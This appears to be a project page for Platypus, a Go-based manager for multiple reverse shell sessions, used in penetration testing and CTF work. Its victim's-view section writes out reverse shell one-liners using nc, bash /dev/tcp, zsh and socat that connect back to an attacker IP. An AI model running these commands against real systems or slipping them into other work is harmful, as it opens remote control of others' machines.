WangYihang / Platypus
Programming Languages
Projects that are alternatives of or similar to Platypus
Platypus
A modern multiple reverse shell sessions/clients manager via terminal written in go
Features
- [x] Multiple service listening port
- [x] Multiple client connections
- [x] RESTful API
- [x] Reverse shell as a service (Pop a reverse shell in multiple languages without remembering idle commands)
- [x] Download/Upload file with progress bar
- [x] Full interactive shell
- [x] Using vim gracefully in reverse shell
- [x] Using CTRL+C and CTRL+Z in reverse shell
- [x] Start servers automatically
- [x] Initialize from configuration file
Get Start
There are multiple ways to run this tool, feel free to choose one of the following method.
Run Platypus from source code
git clone https://github.com/WangYihang/Platypus
cd Platypus
go run platypus.go
Run Platypus from release binaries
- Download
Platypus
prebuild binary from HERE - Run the downloaded executable file
[DEPRECATED due to out of date] Run Platypus from docker
// Build your docker image
docker build -t platypus .
// Start platypus from docker container, don't forget to create port mapping
docker run -it -p 9999:9999 platypus
Usage
Network Topology
- Attack IP:
192.168.174.132
- Reverse Shell Service:
0.0.0.0:8080
- RESTful Service:
127.0.0.1:9090
- Reverse Shell Service:
- Victim IP:
192.168.174.128
Connecting victim and attacker
As we all know, the using senanrio of reverse shell is about both attacker side and the victim side. Now we will seperate the usage guide into two views, the attacker's view and the victim's view.
Attacker's view
- First the attacker should start platypus and listen on some port (eg: 8080).
- Then the victim is attacked by the attacker and a reverse shell command will be executed on the machine of victim.
Victim's view
The victim machine will be hacked and execute the evil command to generate a reverse shell to attack.
Here are some reverse shell commands for various platform.
nc -e /bin/bash 192.168.174.132 8080
bash -c 'bash -i >/dev/tcp/192.168.174.132/8080 0>&1'
zsh -c 'zmodload zsh/net/tcp && ztcp 192.168.174.132 8080 && zsh >&$REPLY 2>&$REPLY 0>&$REPLY'
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.174.132:8080
Controlling the victim
List all victims
Select a victim
Interactive shell
Download file
Upload file
Usages
Advanced- Reverse shell as a Service (RaaS)
- RESTful API
VIM
in Reverse Shell (Only on Linux
)
Using Demonstration is to be done.
Other Materials
TODOs
- [ ] #7 Allow user to choose operation for the same IP income connection
- [ ] #25 Replace new connection from same IP with old one
- [ ] #10 Use database to record all events and interacting logs
- [ ] #12 Add capability of setting human-readable name of session
- [ ] #15 Encryption support
- [ ] #19 Read command file when start up
- [ ] #24 Upgrading platypus to a system service
- [ ] Upgrade to Metepreter session
- [ ] Test driven development [WIP]
- [ ] Continuous Integration
- [ ] Heart beating packet
- [ ] More interfaces in RESTful API
- [ ] RESTful API should auth
- [ ] Use crontab
- [ ] Use HR package to detect the status of client (maybe
echo $random_string
) - [ ] Provide full kernel API
- [ ] List file
- [ ] Web UI
- [ ] Benchmark
- [x] Add config file
- [x] #30 RaaS support specifying language, thanks for @RicterZ
- [x] Execute user input when input is not a built-in command
- [x] Download/Upload progress bar
- [x] #6 Send one command to all clients at once (Meta Command)
- [x] User guide
- [x] Upload file
- [x] Download file
- [x] #13 Add a display current prompt setting
- [x] Global Config (eg. #9 BlockSameIP)
- [x] #11 Make STDOUT and STDERR distinguishable
- [x] #23 Case insensitive CLI
- [x] Delete command by @EddieIvan01
- [x] OS Detection (Linux|Windows) by @EddieIvan01
- [x] Upgrade common reverse shell session into full interactive session
- [x] Docker support (Added by @yeya24)
Contributors
This project exists thanks to all the people who contribute.
Backers
Thank you to all our backers! π [Become a backer]
Sponsors
Support this project by becoming a sponsor. Your logo will show up here with a link to your website. [Become a sponsor]